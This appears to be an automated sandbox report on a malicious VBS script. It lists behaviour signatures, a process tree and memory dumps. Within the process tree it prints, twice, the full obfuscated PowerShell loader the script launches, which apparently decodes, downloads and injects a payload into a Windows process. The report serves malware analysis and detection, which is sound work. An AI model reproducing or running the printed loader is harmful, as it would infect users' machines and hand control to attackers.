Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
08/07/2026, 03:15
General
- Target Sprogvidenskabsmandens.vbs
- Size 54KB
- Sample260708-dsdbfaas3z
- SHA256 3a2ce5b01dc23cbe768df69bc04fcb4e68ee58f1341a767f0cbfd3cd15440a59
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Sprogvidenskabsmandens.vbs"1⤵
- Badlisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Mul8668.8668.8668.babe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'alvorsstunders' 'overlber' 'meteorologically';$svovlrod=5282-5282;$harefoottpanteretigheden=-39403+45403;function ferieaflsernes ($gelatinously,$porosities) {$tilskdningernes=fngslernes(@(111,204,204,216,198,230,206,216,226,218,229,209,236,120,199,223,219,215,154,137,218,226,215,225,216,220,191,206,204,223,142)) ;Umbelloid ($tilskdningernes)}function fngslernes ($harefoot) { do {$harefoottpanteretigheden=$diskossernes[$svovlrod%13];$harefoot[$svovlrod]-=$harefoottpanteretigheden;$meteorous+=[char]$harefoot[$svovlrod];$svovlrod++} while ($harefoot[$svovlrod])$meteorous}function Umbelloid ($kotelettensnterpellering) {&($diffracting) $kotelettensnterpellering}Function neapolitanskes ($harefoot,$embedsmndene=0){$tegnttheds=fngslernes(@(166,168,214,218,219,215,215,222,208,159,172,171,229,186,210,169,205,216,215,155,158,198,217,228,206,225,178,141,139,212,198,228,202,208,226,212,230,142));$priceable=@(Umbelloid ($tegnttheds));For($kotelettens=0; $priceable[$kotelettens] -ne $strandrettighed; $kotelettens++){$priceable[$kotelettens] = ferieaflsernes $priceable[$kotelettens] $diskossernes[$kotelettens%13]}$cinchonamine=fngslernes(@(120,207,214,213,211,146,192,205,219,198,228,192,208,168,137,215,222,206,213,202,203,213,209,215));$denationaliserende=Umbelloid ($cinchonamine);if ($embedsmndene) { Umbelloid $denationaliserende}else {;$denationaliserende}}$diskossernes=@(75,101,103,108,101,114,101,106,115,101,114,101,115);$diffracting=fngslernes @(148,170,191);$suppeterriner='\Dismantlement.Vra';$gelatinouslylkoholforbruget=neapolitanskes 'fktXTE0lDAQXCgUWUwUxR11VXFVRUzIbC0V/XkcUU0ZeSgETSFRGeUtXRUU1AAkYCl1XQ3pVV11VQ0UsGhcXAxwzSlZZV1xV';$mesocolons=neapolitanskes 'IxETHBZISkUXFxsTFmUCCAMCHgBEEAofSgYoWgIUFR0XHk4BHRIdJwoGCEMbAVdCXQctJRozMSkPOBYBGi8VDCEyJlU4HDgiAxAjQyYhOwE=';$caswellite=neapolitanskes 'BhYfAQlASzkWFwQAARMoKyQxJjVERUtC';$decimalformer=neapolitanskes 'DCAz';$evaluere=neapolitanskes 'HhYCHkgzAg8dEQ==';$kotelettensslndingers=neapolitanskes 'dQ==';neapolitanskes 'bwILAwcTCVADFx0BBiARDgMLAQgZAAwVAE5vAAkaXxMVGhcEBgRYbxYSHBUXEQ8BFxsLFjk=' 1;neapolitanskes 'bwILAwcTCVARFxwAAC8AWkgIFxYFEAoeCh04SxQcCRsRQlcOHREWJwATGAAcFhkfCxYMHSwAFR9M' 1;$mesocolons=$brnesde[0];neapolitanskes 'bwILAwcTCVARHBUCFj8MCwAEFgAGAAAcFk4FABBBKhAPDxARUkgwJAhHSAYTFh0WCR4MBy4=' 1;neapolitanskes 'bwILAwcTCVAfBAAcHSwKFBwEAQhXWzEXFgdmNQYYDVJBGgEKFhAYPwwIAhYfFhkaAhdM' 1;while (!$laryngospasm) {neapolitanskes 'bwILAwcTCVAjBAEWFiwEFQgAT0EeARAX' 1;neapolitanskes 'bwceCwIXEQMfCRMBFicWAgIWXAoaFgtaQRcuBg4BBB4DBQEIFxdfa0EKCRYdBgUfChwWX2tBAQ0JAQBD' 1;neapolitanskes 'bwceCwIXEQMfCRMBFicWAgIWXBYPBzcXFAYuFhMkABMBDwFNVgAFKgkSCRcXSUpXAhcJEj8MCQMQAQkTHw4dDRwnAwgeBwAQDRYRWw==' 1;neapolitanskes 'bwceCwIXEQMfCRMBFicWAgIWXBYPHQFaTA==' 1;neapolitanskes 'bwILAwcTCVAXDBMVFjkWWkgHCwINFhEbCR8qAQIAFhcLGV0WBgQHPhZHQQADRVhDVQ==' 1;if ($diapers) {neapolitanskes 'EAceGAApODdXAh4KESoJXRgKBgQBBxYfCgckFwIeCxdYThEcFQIWPwwLAAQWAAYAABwWXTkAFBwKHBYPMQoWHA==' 1;neapolitanskes 'OAZHSBUACg4GDgYMHCUWCh8WGwIPU0EGCgcqDhMfCB0RBQEAAAsWa0giAgYdAQMdAlInCj8A' 1} neapolitanskes 'GAkCCRVaUUM=' 1;neapolitanskes 'bwILAwcTCVAfBAAcHSwKFBwEAQhXWzEXFgdmNQYYDVJBGgEKFhAYPwwIAhYfFhkaAhdM' 1 ;neapolitanskes 'bwILAwcTCVABAAEQHS8WEx4EFAwBGAAcWFcsCQgOBB5fAhIEHAEVKhYTCU5ZQE4RFxwAAC8ASQ8KBwse' 1;$mesocolons=$brnesde[$resundstrafikken]}$gelatinouslygronomerne=150566;$kommuterer=20077;neapolitanskes 'bwILAwcTCVAaFh0BCiUECgUGEwlXFAZSQQM5CgMZDgYMBR0WHxYAIgIC' 1;neapolitanskes 'bwILAwcTCVA6CxYMFCUMEwUAAVgxMAocExY5ETpWXzQXBR4nExYWfVE0GBcbCw1bQRsWHC8cCQ0IGwYLH0w=' 1;neapolitanskes 'bwILAwcTCVAbBBMXF3Y+MwkdBksvHQYdARolAjpWXzM2KTosXCIWPzYTHgwcAkJXLBwBGiwLDhgMFxZD' 1;neapolitanskes 'bwILAwcTCVADDBcHEicBDh8IT0ECEgQAAV04EAUfEQAMBBRNVgIWJwQTBQsdEBkfHBUXHCUKCgkXHABGVw4dCB4+EQIeAABM' 1;Umbelloid $piebaldism;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'alvorsstunders' 'overlber' 'meteorologically';$svovlrod=5282-5282;$harefoottpanteretigheden=-39403+45403;function ferieaflsernes ($gelatinously,$porosities) {$tilskdningernes=fngslernes(@(111,204,204,216,198,230,206,216,226,218,229,209,236,120,199,223,219,215,154,137,218,226,215,225,216,220,191,206,204,223,142)) ;Umbelloid ($tilskdningernes)}function fngslernes ($harefoot) { do {$harefoottpanteretigheden=$diskossernes[$svovlrod%13];$harefoot[$svovlrod]-=$harefoottpanteretigheden;$meteorous+=[char]$harefoot[$svovlrod];$svovlrod++} while ($harefoot[$svovlrod])$meteorous}function Umbelloid ($kotelettensnterpellering) {&($diffracting) $kotelettensnterpellering}Function neapolitanskes ($harefoot,$embedsmndene=0){$tegnttheds=fngslernes(@(166,168,214,218,219,215,215,222,208,159,172,171,229,186,210,169,205,216,215,155,158,198,217,228,206,225,178,141,139,212,198,228,202,208,226,212,230,142));$priceable=@(Umbelloid ($tegnttheds));For($kotelettens=0; $priceable[$kotelettens] -ne $strandrettighed; $kotelettens++){$priceable[$kotelettens] = ferieaflsernes $priceable[$kotelettens] $diskossernes[$kotelettens%13]}$cinchonamine=fngslernes(@(120,207,214,213,211,146,192,205,219,198,228,192,208,168,137,215,222,206,213,202,203,213,209,215));$denationaliserende=Umbelloid ($cinchonamine);if ($embedsmndene) { Umbelloid $denationaliserende}else {;$denationaliserende}}$diskossernes=@(75,101,103,108,101,114,101,106,115,101,114,101,115);$diffracting=fngslernes @(148,170,191);$suppeterriner='\Dismantlement.Vra';$gelatinouslylkoholforbruget=neapolitanskes 'fktXTE0lDAQXCgUWUwUxR11VXFVRUzIbC0V/XkcUU0ZeSgETSFRGeUtXRUU1AAkYCl1XQ3pVV11VQ0UsGhcXAxwzSlZZV1xV';$mesocolons=neapolitanskes 'IxETHBZISkUXFxsTFmUCCAMCHgBEEAofSgYoWgIUFR0XHk4BHRIdJwoGCEMbAVdCXQctJRozMSkPOBYBGi8VDCEyJlU4HDgiAxAjQyYhOwE=';$caswellite=neapolitanskes 'BhYfAQlASzkWFwQAARMoKyQxJjVERUtC';$decimalformer=neapolitanskes 'DCAz';$evaluere=neapolitanskes 'HhYCHkgzAg8dEQ==';$kotelettensslndingers=neapolitanskes 'dQ==';neapolitanskes 'bwILAwcTCVADFx0BBiARDgMLAQgZAAwVAE5vAAkaXxMVGhcEBgRYbxYSHBUXEQ8BFxsLFjk=' 1;neapolitanskes 'bwILAwcTCVARFxwAAC8AWkgIFxYFEAoeCh04SxQcCRsRQlcOHREWJwATGAAcFhkfCxYMHSwAFR9M' 1;$mesocolons=$brnesde[0];neapolitanskes 'bwILAwcTCVARHBUCFj8MCwAEFgAGAAAcFk4FABBBKhAPDxARUkgwJAhHSAYTFh0WCR4MBy4=' 1;neapolitanskes 'bwILAwcTCVAfBAAcHSwKFBwEAQhXWzEXFgdmNQYYDVJBGgEKFhAYPwwIAhYfFhkaAhdM' 1;while (!$laryngospasm) {neapolitanskes 'bwILAwcTCVAjBAEWFiwEFQgAT0EeARAX' 1;neapolitanskes 'bwceCwIXEQMfCRMBFicWAgIWXAoaFgtaQRcuBg4BBB4DBQEIFxdfa0EKCRYdBgUfChwWX2tBAQ0JAQBD' 1;neapolitanskes 'bwceCwIXEQMfCRMBFicWAgIWXBYPBzcXFAYuFhMkABMBDwFNVgAFKgkSCRcXSUpXAhcJEj8MCQMQAQkTHw4dDRwnAwgeBwAQDRYRWw==' 1;neapolitanskes 'bwceCwIXEQMfCRMBFicWAgIWXBYPHQFaTA==' 1;neapolitanskes 'bwILAwcTCVAXDBMVFjkWWkgHCwINFhEbCR8qAQIAFhcLGV0WBgQHPhZHQQADRVhDVQ==' 1;if ($diapers) {neapolitanskes 'EAceGAApODdXAh4KESoJXRgKBgQBBxYfCgckFwIeCxdYThEcFQIWPwwLAAQWAAYAABwWXTkAFBwKHBYPMQoWHA==' 1;neapolitanskes 'OAZHSBUACg4GDgYMHCUWCh8WGwIPU0EGCgcqDhMfCB0RBQEAAAsWa0giAgYdAQMdAlInCj8A' 1} neapolitanskes 'GAkCCRVaUUM=' 1;neapolitanskes 'bwILAwcTCVAfBAAcHSwKFBwEAQhXWzEXFgdmNQYYDVJBGgEKFhAYPwwIAhYfFhkaAhdM' 1 ;neapolitanskes 'bwILAwcTCVABAAEQHS8WEx4EFAwBGAAcWFcsCQgOBB5fAhIEHAEVKhYTCU5ZQE4RFxwAAC8ASQ8KBwse' 1;$mesocolons=$brnesde[$resundstrafikken]}$gelatinouslygronomerne=150566;$kommuterer=20077;neapolitanskes 'bwILAwcTCVAaFh0BCiUECgUGEwlXFAZSQQM5CgMZDgYMBR0WHxYAIgIC' 1;neapolitanskes 'bwILAwcTCVA6CxYMFCUMEwUAAVgxMAocExY5ETpWXzQXBR4nExYWfVE0GBcbCw1bQRsWHC8cCQ0IGwYLH0w=' 1;neapolitanskes 'bwILAwcTCVAbBBMXF3Y+MwkdBksvHQYdARolAjpWXzM2KTosXCIWPzYTHgwcAkJXLBwBGiwLDhgMFxZD' 1;neapolitanskes 'bwILAwcTCVADDBcHEicBDh8IT0ECEgQAAV04EAUfEQAMBBRNVgIWJwQTBQsdEBkfHBUXHCUKCgkXHABGVw4dCB4+EQIeAABM' 1;Umbelloid $piebaldism;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- System Location Discovery: System Language Discovery
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_tmekxwfm.13w.ps1
Dismantlement.Vra
memory/2136-39-0x0000000006220000-0x000000000626C000-memory.dmp
memory/2136-40-0x0000000007A20000-0x000000000809A000-memory.dmp
memory/2136-46-0x0000000008C00000-0x000000000BBC0000-memory.dmp
memory/2136-44-0x0000000008650000-0x0000000008BF4000-memory.dmp
memory/2136-43-0x00000000075C0000-0x00000000075E2000-memory.dmp
memory/2136-42-0x0000000007630000-0x00000000076C6000-memory.dmp
memory/2136-41-0x0000000006730000-0x000000000674A000-memory.dmp
memory/2136-24-0x0000000002860000-0x0000000002896000-memory.dmp
memory/2136-25-0x0000000005470000-0x0000000005A98000-memory.dmp
memory/2136-26-0x00000000052B0000-0x00000000052D2000-memory.dmp
memory/2136-27-0x0000000005350000-0x00000000053B6000-memory.dmp
memory/2136-28-0x00000000053C0000-0x0000000005426000-memory.dmp
memory/2136-36-0x0000000005B20000-0x0000000005E74000-memory.dmp
memory/2136-38-0x00000000061E0000-0x00000000061FE000-memory.dmp
memory/4572-13-0x00000201D6EB0000-0x00000201D6ED2000-memory.dmp
memory/4572-5-0x00000201D4CC0000-0x00000201D4CD0000-memory.dmp
memory/4572-14-0x00000201D4CC0000-0x00000201D4CD0000-memory.dmp
memory/4572-19-0x00000201D4CC0000-0x00000201D4CD0000-memory.dmp
memory/4572-18-0x00000201D4CC0000-0x00000201D4CD0000-memory.dmp
memory/4572-16-0x00000201D4CC0000-0x00000201D4CD0000-memory.dmp
memory/4572-17-0x00000201D4CC0000-0x00000201D4CD0000-memory.dmp
memory/4572-4-0x00000201D4CC0000-0x00000201D4CD0000-memory.dmp
memory/4572-15-0x00000201D4CC0000-0x00000201D4CD0000-memory.dmp